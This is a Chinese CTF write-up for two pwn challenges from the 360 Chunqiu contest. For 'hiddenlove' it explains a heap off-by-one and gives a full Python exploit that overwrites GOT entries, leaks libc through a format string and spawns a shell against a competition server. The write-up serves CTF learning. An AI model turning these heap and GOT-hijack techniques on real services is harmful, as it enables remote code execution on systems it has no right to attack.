360春秋CTF--pwn

0x00 : pwn300 smallest

1.vuln

直接栈溢出,但是利用SYSCALL读取的。

2. think

考察SROP

3. exploit
1
:(  undone.

0x01 : pwn350 hiddenlove

1.vuln

说句题外话…几乎原封不动抄hitcon2016–babyheap的,就改了改字符串…

输入函数的off-by-one。

2. think

程序限制了只能一次edit一次free,但是提示ubuntu16.04版本,这个版本scanf函数读取大量数据会有heap的分配。

通过堆布局来伪造堆头结构,然后再结合off by one伪造指针,得到任意地址读写,然后劫持got去get shell。

3. exploit

其实直接拿babyheap的exp改就行了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('target', local = {'host':'localhost','port':10001}, \
remote = {'host':'106.75.84.68','port':20000})
env.select()

binf = ELF('./hiddenlove', rop=True)
libc = ELF('./libc.so.6')
'''
addr_got_free = binf.got('free')
addr_got_exit = binf.got('exit')
addr_got_puts = binf.got('puts')

addr_plt_puts = binf.plt('puts')
addr_plt_printf = binf.plt('printf')
addr_plt_alarm = binf.plt('alarm')
addr_plt_read = binf.plt('read')
addr_plt_stack_cf = binf.plt('__stack_chk_fail')
addr_plt_libc_stm = binf.plt('__libc_start_main')
addr_plt_malloc = binf.plt('malloc')
addr_plt_atoi = binf.plt('atoi')
addr_plt_scanf = binf.plt('__isoc99_scanf')
addr_plt_setbuf = binf.plt('setbuf')
addr_plt_exit = binf.plt('exit')
'''
#==========
def attack(cmn):
bh = BabyHeap(cmn)

chunk_1 = 'nn'
chunk_1 += '\x00'*(0x1000-0x18-len(chunk_1))
chunk_1 += pack_64(0x50)
bh.Exit(chunk_1)

print 'part 1 done'

chunk_3 = pack_64(0)
chunk_3 += pack_64(0x21)
bh.New(0x80, chunk_3, 'A'*8)
print 'part 2 done'
bh.Delete()
print 'part 3 done'

rewrite_got = pack_64(0x4006C0+6) # puts
rewrite_got += pack_64(0x4006D0+6) #stack_check
rewrite_got += pack_64(0x4006E0+6) #setbuf
rewrite_got += pack_64(0x4006F0+6) #printf
rewrite_got += pack_64(0x400700+6) # alarm
rewrite_got += pack_64(0x400710+6) # read
rewrite_got += pack_64(0x400720+6) # start main
rewrite_got += pack_64(0x400730+6) #malloc
rewrite_got += pack_64(0x4006F0) # atoi --changed
rewrite_got += pack_64(0x400750+6)
rewrite_got += pack_64(0x400700) #exit

chunk_2 = '\x00'*0x20
chunk_2 += pack_64(len(rewrite_got)) # size
chunk_2 += pack_64(0) # name (over written)
chunk_2 += pack_64(addr_got_puts) # &content
bh.New(0x48, chunk_2, 'name')

bh.Edit(rewrite_got) # got_exit <- alarm, got_atoi <- printf
print 'part 4 done'
#cmn.read_until('feet')
sleep(0.5)
cmn.send('%7$saaaa'+pack_64(addr_got_free)) # FSB
junk = cmn.read_until('4.Just throw yourself at her feet\n')
addr_libc_free = cmn.read(6).ljust(8, "\x00")
addr_libc_free = unpack_64(addr_libc_free+'\x00'*(8-len(addr_libc_free)))
info('addr_libc_free = 0x%08x' % addr_libc_free)
print 'part 5 done'
libc.set_location('free', addr_libc_free)
addr_libc_system = libc.function('system')
info('addr_libc_system = 0x%08x' % addr_libc_system)
print 'part 6 done'

rewrite_got = pack_64(0x0000000004006C0+6) #puts
rewrite_got += pack_64(0x0000000004006D0+6) #fail
rewrite_got += pack_64(0x00000000004006E0+6) #setbuf
rewrite_got += pack_64(0x00000000004006F0+6) #printf
rewrite_got += pack_64(0x0000000000400700+6)#alarm
rewrite_got += pack_64(0x400716) #read
rewrite_got += pack_64(0x000000000400720+6) #start
rewrite_got += pack_64(0x000000000400730+6) #malloc
rewrite_got += pack_64(addr_libc_system) #atoi
rewrite_got += pack_64(0x000000000400750+6) #scanf
rewrite_got += pack_64(0x400B0B) #exit

cmn.read_until('feet')
cmn.sendln('2')
cmn.read_until('feelings')
cmn.send(rewrite_got)
sleep(0.5)
cmn.send('/bin/sh\0')


#==========

class BabyHeap:
def __init__(self, cmn):
self._read = cmn.read
self._read_until = cmn.read_until
self._send = cmn.send
self._sendln = cmn.sendln

def New(self, size, content, name):
self._read_until('feet')
self._sendln('1')
prompt = self._read(12)
if 'how many' in prompt:
self._sendln(str(size))
self._read_until('her(0~1000)')
self._send(content)
self._read_until('name')
self._send(name)
else:
fail('Remote program is exited')

def Delete(self):
self._read_until('feet')
self._sendln('3')

def Edit(self, content):
self._read_until('feet')
self._sendln('2')
self._read_until('feelings')
self._send(content)

def Edit1(self, content):
self._sendln('2')
sleep(0.5)
self._send(content)

def Exit(self, ans):
self._read_until('feet')
self._sendln('4')
self._read_until('(Y/N)')
self._sendln(ans)

#==========

if __name__=='__main__':
cmn = Communicate(env.target,mode='SOCKET')
attack(cmn)
sh = Shell(cmn)
sh.select()
del(sh)
del(cmn)
#==========

0x03 :吐槽

这个比赛运维水平真的有问题…

题目重复这个也不说了,反正某春秋之前的比赛也是这样。